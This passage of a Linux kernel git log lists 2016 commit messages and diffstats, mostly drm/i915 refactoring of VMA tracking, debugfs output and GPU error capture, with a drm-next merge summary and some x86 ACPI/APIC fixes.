+ drivers/gpu/drm/i915/i915_gpu_error.c | 15 +++++++++++++-- 2 files changed, 14 insertions(+), 2 deletions(-) commit c84455b4baccce89384e45c53198c3c948bd97b6 Author: Chris Wilson Date: Mon Aug 15 10:49:08 2016 +0100 drm/i915: Move debug only per-request pid tracking from request to ctx Since contexts are not currently shared between userspace processes, we have an exact correspondence between context creator and guilty batch submitter. Therefore we can save some per-batch work by inspecting the context->pid upon error instead. Note that we take the context's creator's pid rather than the file's pid in order to better track fd passed over sockets. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1471254551-25805-29-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_debugfs.c | 25 ++++++++++++++++--------- drivers/gpu/drm/i915/i915_drv.h | 2 ++ drivers/gpu/drm/i915/i915_gem_context.c | 4 ++++ drivers/gpu/drm/i915/i915_gem_request.c | 6 ------ drivers/gpu/drm/i915/i915_gem_request.h | 3 --- drivers/gpu/drm/i915/i915_gpu_error.c | 13 ++++++++++--- 6 files changed, 32 insertions(+), 21 deletions(-) commit bde13ebdab0778b758b267ff9e38d6c10a42bdc3 Author: Chris Wilson Date: Mon Aug 15 10:49:07 2016 +0100 drm/i915: Introduce i915_ggtt_offset() This little helper only exists to safely discard the upper unused 32bits of the general 64-bit VMA address - as we know that all Global GTT currently are less than 4GiB in size and so that the upper bits must be zero. In many places, we use a u32 for the global GTT offset and we want to document where we are discarding the full VMA offset. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1471254551-25805-28-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_debugfs.c | 2 +- drivers/gpu/drm/i915/i915_drv.h | 2 +- drivers/gpu/drm/i915/i915_gem.c | 11 +++++------ drivers/gpu/drm/i915/i915_gem_context.c | 6 ++++-- drivers/gpu/drm/i915/i915_gem_gtt.h | 9 +++++++++ drivers/gpu/drm/i915/i915_guc_submission.c | 15 ++++++++------- drivers/gpu/drm/i915/intel_display.c | 10 +++------- drivers/gpu/drm/i915/intel_engine_cs.c | 4 ++-- drivers/gpu/drm/i915/intel_fbdev.c | 6 +++--- drivers/gpu/drm/i915/intel_guc_loader.c | 6 +++--- drivers/gpu/drm/i915/intel_lrc.c | 20 +++++++++++--------- drivers/gpu/drm/i915/intel_overlay.c | 10 ++++++---- drivers/gpu/drm/i915/intel_ringbuffer.c | 28 ++++++++++++++-------------- 13 files changed, 70 insertions(+), 59 deletions(-) commit 058d88c4330f963033a5d11b269c8f86677494d1 Author: Chris Wilson Date: Mon Aug 15 10:49:06 2016 +0100 drm/i915: Track pinned VMA Treat the VMA as the primary struct responsible for tracking bindings into the GPU's VM. That is we want to treat the VMA returned after we pin an object into the VM as the cookie we hold and eventually release when unpinning. Doing so eliminates the ambiguity in pinning the object and then searching for the relevant pin later. v2: Joonas' stylistic nitpicks, a fun rebase. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1471254551-25805-27-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_debugfs.c | 2 +- drivers/gpu/drm/i915/i915_drv.h | 60 ++------ drivers/gpu/drm/i915/i915_gem.c | 233 ++++++++--------------------- drivers/gpu/drm/i915/i915_gem_execbuffer.c | 65 ++++---- drivers/gpu/drm/i915/i915_gem_fence.c | 14 +- drivers/gpu/drm/i915/i915_gem_gtt.c | 73 +++++---- drivers/gpu/drm/i915/i915_gem_gtt.h | 14 -- drivers/gpu/drm/i915/i915_gem_request.c | 2 +- drivers/gpu/drm/i915/i915_gem_request.h | 2 +- drivers/gpu/drm/i915/i915_gem_stolen.c | 2 +- drivers/gpu/drm/i915/i915_gem_tiling.c | 2 +- drivers/gpu/drm/i915/i915_gpu_error.c | 58 +++---- drivers/gpu/drm/i915/intel_display.c | 57 ++++--- drivers/gpu/drm/i915/intel_drv.h | 5 +- drivers/gpu/drm/i915/intel_fbc.c | 2 +- drivers/gpu/drm/i915/intel_fbdev.c | 19 +-- drivers/gpu/drm/i915/intel_guc_loader.c | 21 +-- drivers/gpu/drm/i915/intel_overlay.c | 32 ++-- 18 files changed, 266 insertions(+), 397 deletions(-) commit 19880c4a3f19a8ff116e992c2f79459b7c2d15c7 Author: Chris Wilson Date: Mon Aug 15 10:49:05 2016 +0100 drm/i915: Consolidate i915_vma_unpin_and_release() In a few places, we repeat a call to clear a pointer to a vma whilst unpinning and releasing a reference to its owner. Refactor those into a common function. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1471254551-25805-26-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem_gtt.c | 12 ++++++++++++ drivers/gpu/drm/i915/i915_gem_gtt.h | 1 + drivers/gpu/drm/i915/i915_guc_submission.c | 21 ++++----------------- drivers/gpu/drm/i915/intel_engine_cs.c | 9 +-------- drivers/gpu/drm/i915/intel_lrc.c | 9 +-------- drivers/gpu/drm/i915/intel_ringbuffer.c | 8 +------- 6 files changed, 20 insertions(+), 40 deletions(-) commit 48bb74e48bc2cd106d7ed7697377c08d149f2633 Author: Chris Wilson Date: Mon Aug 15 10:49:04 2016 +0100 drm/i915: Use VMA for wa_ctx tracking Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1471254551-25805-25-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gpu_error.c | 2 +- drivers/gpu/drm/i915/intel_lrc.c | 58 ++++++++++++++++++--------------- drivers/gpu/drm/i915/intel_ringbuffer.h | 4 +-- 3 files changed, 35 insertions(+), 29 deletions(-) commit a5e85c8a4dca07f80647133f2e84cd4a6da98df6 Author: Chris Wilson Date: Mon Aug 15 10:49:03 2016 +0100 drm/i915: Use VMA for render state page tracking Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1471254551-25805-24-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem_render_state.c | 40 +++++++++++++++------------- drivers/gpu/drm/i915/i915_gem_render_state.h | 2 +- 2 files changed, 23 insertions(+), 19 deletions(-) commit 51d545d0268f3e1b68aa71c906377c2098462e4f Author: Chris Wilson Date: Mon Aug 15 10:49:02 2016 +0100 drm/i915: Use VMA as the primary tracker for semaphore page Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1471254551-25805-23-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_debugfs.c | 2 +- drivers/gpu/drm/i915/i915_drv.h | 4 +-- drivers/gpu/drm/i915/i915_gpu_error.c | 16 ++++----- drivers/gpu/drm/i915/intel_engine_cs.c | 12 ++++--- drivers/gpu/drm/i915/intel_ringbuffer.c | 60 +++++++++++++++++++-------------- drivers/gpu/drm/i915/intel_ringbuffer.h | 4 +-- 6 files changed, 55 insertions(+), 43 deletions(-) commit 9b3b7841b86d54e95a43a747ee401883d218ebca Author: Chris Wilson Date: Mon Aug 15 10:49:01 2016 +0100 drm/i915/overlay: Use VMA as the primary tracker for images Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1471254551-25805-22-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/intel_overlay.c | 39 ++++++++++++++++++++---------------- 1 file changed, 22 insertions(+), 17 deletions(-) commit 57f275a22b0812b140bf2e581f5e9855f27b78f1 Author: Chris Wilson Date: Mon Aug 15 10:49:00 2016 +0100 drm/i915: Move common seqno reset to intel_engine_cs.c Since the intel_engine_init_seqno() is shared by all engine submission backends, move it out of the legacy intel_ringbuffer.c and into the new home for common routines, intel_engine_cs.c Signed-off-by: Chris Wilson Reviewed-by: Matthew Auld Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1471254551-25805-21-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/intel_engine_cs.c | 42 +++++++++++++++++++++++++++++++++ drivers/gpu/drm/i915/intel_ringbuffer.c | 42 --------------------------------- 2 files changed, 42 insertions(+), 42 deletions(-) commit adc320c4b70916c7bed1420c912b83eb0c2b2c24 Author: Chris Wilson Date: Mon Aug 15 10:48:59 2016 +0100 drm/i915: Move common scratch allocation/destroy to intel_engine_cs.c Since the scratch allocation and cleanup is shared by all engine submission backends, move it out of the legacy intel_ringbuffer.c and into the new home for common routines, intel_engine_cs.c Signed-off-by: Chris Wilson Reviewed-by: Matthew Auld Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1471254551-25805-20-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/intel_engine_cs.c | 50 +++++++++++++++++++++++++++++++++ drivers/gpu/drm/i915/intel_lrc.c | 1 - drivers/gpu/drm/i915/intel_ringbuffer.c | 50 --------------------------------- drivers/gpu/drm/i915/intel_ringbuffer.h | 4 +-- 4 files changed, 51 insertions(+), 54 deletions(-) commit 56c0f1a7c1ae68cb719fc9c8aba35d1f86149b29 Author: Chris Wilson Date: Mon Aug 15 10:48:58 2016 +0100 drm/i915: Use VMA for scratch page tracking Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1471254551-25805-19-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem_context.c | 2 +- drivers/gpu/drm/i915/i915_gpu_error.c | 2 +- drivers/gpu/drm/i915/intel_display.c | 2 +- drivers/gpu/drm/i915/intel_lrc.c | 18 +++++------ drivers/gpu/drm/i915/intel_ringbuffer.c | 55 +++++++++++++++++++-------------- drivers/gpu/drm/i915/intel_ringbuffer.h | 10 ++---- 6 files changed, 46 insertions(+), 43 deletions(-) commit 57e8853181198065bfd96b3690f6dee68d744745 Author: Chris Wilson Date: Mon Aug 15 10:48:57 2016 +0100 drm/i915: Use VMA for ringbuffer tracking Use the GGTT VMA as the primary cookie for handing ring objects as the most common action upon the ring is mapping and unmapping which act upon the VMA itself. By restructuring the code to work with the ring VMA, we can shrink the code and remove a few cycles from context pinning. v2: Move the flush of the object back to before the first pin. We use the am-I-bound? query to only have to check the flush on the first bind and so avoid stalling on active rings. Lots of little renames and small hoops. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1471254551-25805-18-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_debugfs.c | 2 +- drivers/gpu/drm/i915/i915_gpu_error.c | 4 +- drivers/gpu/drm/i915/i915_guc_submission.c | 16 +- drivers/gpu/drm/i915/intel_lrc.c | 17 +- drivers/gpu/drm/i915/intel_ringbuffer.c | 243 ++++++++++++++--------------- drivers/gpu/drm/i915/intel_ringbuffer.h | 14 +- 6 files changed, 139 insertions(+), 157 deletions(-) commit e5cdb22b2799f2729930ef6394378570c66da251 Author: Chris Wilson Date: Mon Aug 15 10:48:56 2016 +0100 drm/i915: Move assertion for iomap access to i915_vma_pin_iomap Access through the GTT requires the device to be awake. Ideally i915_vma_pin_iomap() is short-lived and the pinning demarcates the access through the iomap. This is not entirely true, we have a mixture of long lived pins that exceed the wakelock (such as legacy ringbuffers) and short lived pin that do live within the wakelock (such as execlist ringbuffers). Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1471254551-25805-17-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem_gtt.c | 3 +++ drivers/gpu/drm/i915/intel_ringbuffer.c | 3 --- 2 files changed, 3 insertions(+), 3 deletions(-) commit 7abc98fadfdd060e54fdb7172e2753a2f9808366 Author: Chris Wilson Date: Mon Aug 15 10:48:55 2016 +0100 drm/i915: Only change the context object's domain when binding We know that the only access to the context object is via the GPU, and the only time when it can be out of the GPU domain is when it is swapped out and unbound. Therefore we only need to clflush the object when binding, thus avoiding any potential stall on touching the domain on an active context. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1471254551-25805-16-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem_context.c | 19 +++++++------------ drivers/gpu/drm/i915/intel_ringbuffer.c | 4 ++++ 2 files changed, 11 insertions(+), 12 deletions(-) commit bf3783e52a8929c738c5c8c5fa1df7e267b5271d Author: Chris Wilson Date: Mon Aug 15 10:48:54 2016 +0100 drm/i915: Use VMA as the primary object for context state When working with contexts, we most frequently want the GGTT VMA for the context state, first and foremost. Since the object is available via the VMA, we need only then store the VMA. v2: Formatting tweaks to debugfs output, restored some comments removed in the next patch Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1471254551-25805-15-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_debugfs.c | 34 ++++++++-------- drivers/gpu/drm/i915/i915_drv.h | 3 +- drivers/gpu/drm/i915/i915_gem_context.c | 51 +++++++++++++----------- drivers/gpu/drm/i915/i915_gpu_error.c | 7 ++-- drivers/gpu/drm/i915/i915_guc_submission.c | 6 +-- drivers/gpu/drm/i915/intel_lrc.c | 64 +++++++++++++++--------------- drivers/gpu/drm/i915/intel_ringbuffer.c | 6 +-- 7 files changed, 86 insertions(+), 85 deletions(-) commit f23eda8cb444b4c45a9bd61768f8bcce9adee8a0 Author: Chris Wilson Date: Mon Aug 15 10:48:53 2016 +0100 drm/i915: Use VMA directly for checking tiling parameters v2: Rename functions to suit their more active role Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1471254551-25805-14-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem_tiling.c | 51 ++++++++++++++++++++-------------- 1 file changed, 30 insertions(+), 21 deletions(-) commit a83718b6819d99d01a34ed1ef1a01598eb45c61b Author: Chris Wilson Date: Mon Aug 15 10:48:52 2016 +0100 drm/i915: Convert fence computations to use vma directly Lookup the GGTT vma once for the object assigned to the fence, and then derive everything from that vma. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1471254551-25805-13-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem_fence.c | 55 +++++++++++++++++------------------ 1 file changed, 26 insertions(+), 29 deletions(-) commit 8b797af189c917a821221ddc258f50a14552177a Author: Chris Wilson Date: Mon Aug 15 10:48:51 2016 +0100 drm/i915: Track pinned vma inside guc Since the guc allocates and pins and object into the GGTT for its usage, it is more natural to use that pinned VMA as our resource cookie. v2: Embrace naming tautology v3: Rewrite comments for guc_allocate_vma() Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1471254551-25805-12-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_debugfs.c | 10 +- drivers/gpu/drm/i915/i915_gem_gtt.h | 6 ++ drivers/gpu/drm/i915/i915_guc_submission.c | 144 ++++++++++++++--------------- drivers/gpu/drm/i915/intel_guc.h | 9 +- drivers/gpu/drm/i915/intel_guc_loader.c | 7 +- 5 files changed, 90 insertions(+), 86 deletions(-) commit 624192cfd37138f0e7a4e077ca9b19b080741294 Author: Chris Wilson Date: Mon Aug 15 10:48:50 2016 +0100 drm/i915: Add convenience wrappers for vma's object get/put The VMA are unreferenced, they belong to the object and live until they are closed. However, if we want to use the VMA as a cookie and use it to keep the object alive, we want to hold onto a reference to the object for the lifetime of the VMA cookie. To facilitate this, add a couple of simple wrappers for managing the reference count on the object owning the VMA. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1471254551-25805-11-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_drv.h | 12 ++++++++++++ drivers/gpu/drm/i915/i915_gem_execbuffer.c | 4 ++-- 2 files changed, 14 insertions(+), 2 deletions(-) commit 78ef2d9abad6da3f94489148b4e08359dd2fb4fe Author: Chris Wilson Date: Mon Aug 15 10:48:49 2016 +0100 drm/i915: Add fetch_and_zero() macro A simple little macro to clear a pointer and return the old value. This is useful for writing value = *ptr; if (!value) return; *ptr = 0; ... free(value); in a slightly more concise form: value = fetch_and_zero(ptr); if (!value) return; ... free(value); with the idea that this establishes a pattern that may be extended for atomic use (using xchg or cmpxchg) i.e. atomic_fetch_and_zero() and similar to llist. Signed-off-by: Chris Wilson Cc: Joonas Lahtinen Cc: Daniel Vetter Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1471254551-25805-10-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_drv.h | 6 ++++++ 1 file changed, 6 insertions(+) commit 81a8aa4a6c8535955c8b795c762489d0edf9a648 Author: Chris Wilson Date: Mon Aug 15 10:48:48 2016 +0100 drm/i915: Create a VMA for an object In many places, we wish to store the VMA in preference to the object itself and so being able to create the persistent VMA is useful. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1471254551-25805-9-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem_gtt.c | 11 +++++++++++ drivers/gpu/drm/i915/i915_gem_gtt.h | 5 +++++ 2 files changed, 16 insertions(+) commit 247177ddd5170d81a0ffb6f4ec2f32c504a4a33d Author: Chris Wilson Date: Mon Aug 15 10:48:47 2016 +0100 drm/i915: Always set the vma->pages Previously, we would only set the vma->pages pointer for GGTT entries. However, if we always set it, we can use it to prettify some code that may want to access the backing store associated with the VMA (as assigned to the VMA). Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1471254551-25805-8-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem.c | 8 ++++---- drivers/gpu/drm/i915/i915_gem_gtt.c | 30 ++++++++++++++---------------- drivers/gpu/drm/i915/i915_gem_gtt.h | 3 +-- 3 files changed, 19 insertions(+), 22 deletions(-) commit 95b2ab56a53dc926eb6949ebd40a4708e32eb4f0 Author: Chris Wilson Date: Mon Aug 15 10:48:46 2016 +0100 drm/i915: Remove redundant WARN_ON from __i915_add_request() It's an outright programming error, so explode if it is ever hit. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1471254551-25805-7-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem_request.c | 10 ++-------- 1 file changed, 2 insertions(+), 8 deletions(-) commit 2bd160a131ac617fc2441bfb4a02964c964a5da6 Author: Chris Wilson Date: Mon Aug 15 10:48:45 2016 +0100 drm/i915: Reduce i915_gem_objects to only show object information No longer is knowing how much of the GTT (both mappable aperture and beyond) relevant, and the output clutters the real information - that is how many objects are allocated and bound (and by who) so that we can quickly grasp if there is a leak. v2: Relent, and rename pinned to indicate display only. Since the display objects are semi-static and are of variable size, they are the interesting objects to watch over time for aperture leaking. The other pins are either static (such as the scratch page) or very short lived (such as execbuf) and not part of the precious GGTT. Signed-off-by: Chris Wilson Link: http://patchwork.freedesktop.org/patch/msgid/1471254551-25805-6-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_debugfs.c | 100 ++++---------- drivers/gpu/drm/i915/i915_drv.h | 249 +++++++++++++++++----------------- drivers/gpu/drm/i915/i915_gpu_error.c | 15 ++ 3 files changed, 168 insertions(+), 196 deletions(-) commit 6da8482936c75a3d31cb730642171284042f3199 Author: Chris Wilson Date: Mon Aug 15 10:48:44 2016 +0100 drm/i915: Focus debugfs/i915_gem_pinned to show only display pins Only those objects pinned to the display have semi-permanent pins of a global nature (other pins are transient within their local vm). Simplify i915_gem_pinned to only show the pertinent information about the pinned objects within the GGTT. v2: i915_gem_gtt_info is still shared with debugfs/i915_gem_gtt, rename i915_gem_pinned to i915_gem_pin_display to better reflect its contents Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1471254551-25805-5-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_debugfs.c | 12 +++--------- 1 file changed, 3 insertions(+), 9 deletions(-) commit 61fb00d6ea1289215331e6547773eab885f5d9fa Author: Chris Wilson Date: Mon Aug 15 10:48:43 2016 +0100 drm/i915: Remove inactive/active list from debugfs These two files (i915_gem_active, i915_gem_inactive) no longer give pertinent information since active/inactive tracking is per-vm and so we need the information per-vm. They are obsolete so remove them. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1471254551-25805-4-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_debugfs.c | 49 ------------------------------------- 1 file changed, 49 deletions(-) commit 546b1b6a40999b6fb23cb45aaffa72d02076306c Author: Chris Wilson Date: Mon Aug 15 10:48:42 2016 +0100 drm/i915: Store the active context object on all engines upon error With execlists, we have context objects everywhere, not just RCS. So store them for post-mortem debugging. This also has a secondary effect of removing one more unsafe list iteration with using preserved state from the hanging request. And now we can cross-reference the request's context state with that loaded by the GPU. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1471254551-25805-3-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gpu_error.c | 28 ++++------------------------ 1 file changed, 4 insertions(+), 24 deletions(-) commit c0ce4663611e09182fdb81b980f6eaa5560b5b1d Author: Chris Wilson Date: Mon Aug 15 10:48:41 2016 +0100 drm/i915: Reduce amount of duplicate buffer information captured on error When capturing the error state, we do not need to know about every address space - just those that are related to the error. We know which context is active at the time, therefore we know which VM are implicated in the error. We can then restrict the VM which we report to the relevant subset. v2: s/i/count_active/ (and similar) Rewrite label generation for "Buffers" Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1471254551-25805-2-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_drv.h | 9 +- drivers/gpu/drm/i915/i915_gpu_error.c | 224 +++++++++++++++------------------- 2 files changed, 105 insertions(+), 128 deletions(-) commit d045446df196e3af341aa7623de5d21049ec4f67 Author: Chris Wilson Date: Mon Aug 15 10:48:40 2016 +0100 drm/i915: Record the position of the start of the request Not only does it make for good documentation and debugging aide, but it is also vital for when we want to unwind requests - such as when throwing away an incomplete request. Signed-off-by: Chris Wilson Link: http://patchwork.freedesktop.org/patch/msgid/1470414607-32453-2-git-send-email-arun.siluvery@linux.intel.com Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1471254551-25805-1-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_drv.h | 1 + drivers/gpu/drm/i915/i915_gem_request.c | 13 +++++++++---- drivers/gpu/drm/i915/i915_gpu_error.c | 6 ++++-- 3 files changed, 14 insertions(+), 6 deletions(-) commit 7466c291b1d2fa38e3140717c857c86e0eac1b6b Author: Chris Wilson Date: Mon Aug 15 09:49:33 2016 +0100 drm/i915: Show RPS autotuning thresholds along with waitboost For convenience when debugging user issues show the autotuning RPS parameters in debugfs/i915_rps_boost_info. v2: Refine the presentation v3: Style Signed-off-by: Chris Wilson Cc: fritsch@kodi.tv Link: http://patchwork.freedesktop.org/patch/msgid/1471181336-27523-1-git-send-email-chris@chris-wilson.co.uk Reviewed-by: David Weinehall Link: http://patchwork.freedesktop.org/patch/msgid/1471250973-31277-1-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_debugfs.c | 48 +++++++++++++++++++++++++++++++++++-- drivers/gpu/drm/i915/i915_reg.h | 7 +++--- 2 files changed, 50 insertions(+), 5 deletions(-) commit cc9263874b42bf98209dce0afe698b550648e770 Merge: 02bef8f fc93ff6 Author: Daniel Vetter Date: Mon Aug 15 10:41:47 2016 +0200 Merge remote-tracking branch 'airlied/drm-next' into drm-intel-next-queued Backmerge because too many conflicts, and also we need to get at the latest struct fence patches from Gustavo. Requested by Chris Wilson. Signed-off-by: Daniel Vetter commit 90844f00049e9f42573fd31d7c32e8fd31d3fd07 Author: Eric Engestrom Date: Mon Aug 15 01:02:38 2016 +0100 drm: make drm_get_format_name thread-safe Signed-off-by: Eric Engestrom [danvet: Clarify that the returned pointer must be freed with kfree().] Signed-off-by: Daniel Vetter drivers/gpu/drm/amd/amdgpu/dce_v10_0.c | 6 ++-- drivers/gpu/drm/amd/amdgpu/dce_v11_0.c | 6 ++-- drivers/gpu/drm/amd/amdgpu/dce_v8_0.c | 6 ++-- drivers/gpu/drm/drm_atomic.c | 5 ++-- drivers/gpu/drm/drm_crtc.c | 21 ++++++++----- drivers/gpu/drm/drm_fourcc.c | 17 ++++++----- drivers/gpu/drm/hisilicon/kirin/kirin_drm_ade.c | 6 ++-- drivers/gpu/drm/i915/i915_debugfs.c | 11 ++++++- drivers/gpu/drm/i915/intel_atomic_plane.c | 6 ++-- drivers/gpu/drm/i915/intel_display.c | 39 ++++++++++++++++--------- drivers/gpu/drm/radeon/atombios_crtc.c | 12 +++++--- include/drm/drm_fourcc.h | 2 +- 12 files changed, 89 insertions(+), 48 deletions(-) commit fc93ff608b15ae32cde3006b7af860b59cac20ec Merge: f8725ad c5b7e97 Author: Dave Airlie Date: Mon Aug 15 16:53:57 2016 +1000 Merge tag 'drm-intel-next-2016-08-08' of git://anongit.freedesktop.org/drm-intel into drm-next - refactor ddi buffer programming a bit (Ville) - large-scale renaming to untangle naming in the gem code (Chris) - rework vma/active tracking for accurately reaping idle mappings of shared objects (Chris) - misc dp sst/mst probing corner case fixes (Ville) - tons of cleanup&tunings all around in gem - lockless (rcu-protected) request lookup, plus use it everywhere for non(b)locking waits (Chris) - pipe crc debugfs fixes (Rodrigo) - random fixes all over * tag 'drm-intel-next-2016-08-08' of git://anongit.freedesktop.org/drm-intel: (222 commits) drm/i915: Update DRIVER_DATE to 20160808 drm/i915: fix aliasing_ppgtt leak drm/i915: Update comment before i915_spin_request drm/i915: Use drm official vblank_no_hw_counter callback. drm/i915: Fix copy_to_user usage for pipe_crc Revert "drm/i915: Track active streams also for DP SST" drm/i915: fix WaInsertDummyPushConstPs drm/i915: Assert that the request hasn't been retired drm/i915: Repack fence tiling mode and stride into a single integer drm/i915: Document and reject invalid tiling modes drm/i915: Remove locking for get_tiling drm/i915: Remove pinned check from madvise ioctl drm/i915: Reduce locking inside swfinish ioctl drm/i915: Remove (struct_mutex) locking for busy-ioctl drm/i915: Remove (struct_mutex) locking for wait-ioctl drm/i915: Do a nonblocking wait first in pread/pwrite drm/i915: Remove unused no-shrinker-steal drm/i915: Tidy generation of the GTT mmap offset drm/i915/shrinker: Wait before acquiring struct_mutex under oom drm/i915: Simplify do_idling() (Ironlake vt-d w/a) ... commit 31b02dd718712f4c45afbeea7fbd187ecb1b202c Author: Baoquan He Date: Fri Aug 12 15:21:47 2016 +0800 x86/apic, ACPI: Fix incorrect assignment when handling apic/x2apic entries By pure accident the bug makes no functional difference, because the only expression where we are using these values is (!count && !x2count), in which the variables are interchangeable, but it makes sense to fix the bug nevertheless. Signed-off-by: Baoquan He Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Josh Poimboeuf Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: linux-acpi@vger.kernel.org Cc: rjw@rjwysocki.net Link: http://lkml.kernel.org/r/1470986507-24191-1-git-send-email-bhe@redhat.com Signed-off-by: Ingo Molnar arch/x86/kernel/acpi/boot.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 6de421198c75d95088331e6a480e952292b0e121 Author: Baoquan He Date: Fri Aug 12 14:57:13 2016 +0800 x86/apic, ACPI: Remove the repeated lapic address override entry parsing The ACPI MADT has a 32-bit field providing lapic address at which each processor can access its lapic information. MADT also contains an optional entry to provide a 64-bit address to override the 32-bit one. However the current code does the lapic address override entry parsing twice. One is in early_acpi_boot_init() because AMD NUMA need get boot_cpu_id earlier. The other is in acpi_boot_init() which parses all MADT entries. So in this patch we remove the repeated code in the 2nd part. Meanwhile print lapic override entry information like other MADT entry, this will be added to boot log. This patch is not supposed to change any runtime behavior, other than improving kernel messages. Signed-off-by: Baoquan He Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Josh Poimboeuf Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: linux-acpi@vger.kernel.org Cc: rjw@rjwysocki.net Link: http://lkml.kernel.org/r/1470985033-22493-2-git-send-email-bhe@redhat.com Signed-off-by: Ingo Molnar arch/x86/kernel/acpi/boot.c | 17 ++--------------- arch/x86/kernel/apic/apic.c | 2 +- 2 files changed, 3 insertions(+), 16 deletions(-) commit a91bf718dbc993ea582cd53c0cb711a0839b4603 Author: Baoquan He Date: Fri Aug 12 14:57:12 2016 +0800 x86/mm/numa: Open code function early_get_boot_cpu_id() Previously early_acpi_boot_init() was called in early_get_boot_cpu_id() to get the value for boot_cpu_physical_apicid. Now early_acpi_boot_init() has been taken out and moved to setup_arch(), the name of early_get_boot_cpu_id() doesn't match its implementation anymore, and only the getting boot-time SMP configuration code was left. So in this patch we open code it. Also move the smp_found_config check into default_get_smp_config to simplify code, because both early_get_smp_config() and get_smp_config() call x86_init.mpparse.get_smp_config(). Also remove the redundent CONFIG_X86_MPPARSE #ifdef check when we call early_get_smp_config(). 